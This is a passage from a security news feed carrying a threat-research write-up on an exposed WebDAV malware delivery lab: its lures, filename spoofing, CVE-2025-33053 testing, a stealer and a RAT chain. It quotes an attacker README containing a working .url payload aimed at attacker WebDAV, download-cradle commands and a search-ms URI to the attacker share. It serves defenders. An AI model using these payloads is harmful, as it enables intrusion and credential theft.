@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with 